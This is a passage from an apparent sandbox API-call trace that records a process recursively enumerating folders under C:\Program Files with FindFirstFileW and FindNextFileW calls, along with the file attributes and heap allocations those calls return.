nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0043.792] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.792] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.792] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0043.792] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0043.792] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4b0000) returned 1 [0043.792] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0043.792] FindClose (in: hFindFile=0x3ec00b0 | out: hFindFile=0x3ec00b0) returned 1 [0043.793] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0043.793] FindNextFileW (in: hFindFile=0x3ec0070, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0043.793] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0043.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00b0 [0043.793] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.793] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0043.793] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0043.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0130 [0043.793] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.793] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0043.793] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.794] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.794] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0043.794] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.795] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.795] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0043.795] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0043.795] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4b0000) returned 1 [0043.795] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 0 [0043.795] FindClose (in: hFindFile=0x3ec00b0 | out: hFindFile=0x3ec00b0) returned 1 [0043.795] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0043.795] FindNextFileW (in: hFindFile=0x3ec0070, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0043.795] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0043.795] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00b0 [0043.795] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.795] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0043.795] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0043.795] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0130 [0043.796] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.796] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0043.796] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0043.796] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.796] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0043.796] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0043.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.797] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.797] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0043.797] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.797] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0043.797] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0043.797] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fa1898 [0043.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.797] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.797] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0043.797] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.797] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1898 | out: hHeap=0x4b0000) returned 1 [0043.797] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0043.797] FindClose (in: hFindFile=0x3ec02f0 | out: hFindFile=0x3ec02f0) returned 1 [0043.797] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.797] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0043.798] FindClose (in: hFindFile=0x3ec0130 | out: hFindFile=0x3ec0130) returned 1 [0043.798] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4b0000) returned 1 [0043.798] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d617960, ftCreationTime.dwHighDateTime=0x1d4b80e, ftLastAccessTime.dwLowDateTime=0x8ad446d0, ftLastAccessTime.dwHighDateTime=0x1d495af, ftLastWriteTime.dwLowDateTime=0x8ad446d0, ftLastWriteTime.dwHighDateTime=0x1d495af, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="whole.exe", cAlternateFileName="")) returned 1 [0043.798] FindClose (in: hFindFile=0x3ec00b0 | out: hFindFile=0x3ec00b0) returned 1 [0043.798] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4b0000) returned 1 [0043.798] FindNextFileW (in: hFindFile=0x3ec0070, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0043.798] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0043.798] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00b0 [0043.798] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.798] FindNextFileW (in: hFindFile=0x3ec00b0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0043.798] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0043.798] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0130 [0043.798] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.798] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0043.798] RtlAllocateHeap (HeapHandle=0x4b0000, 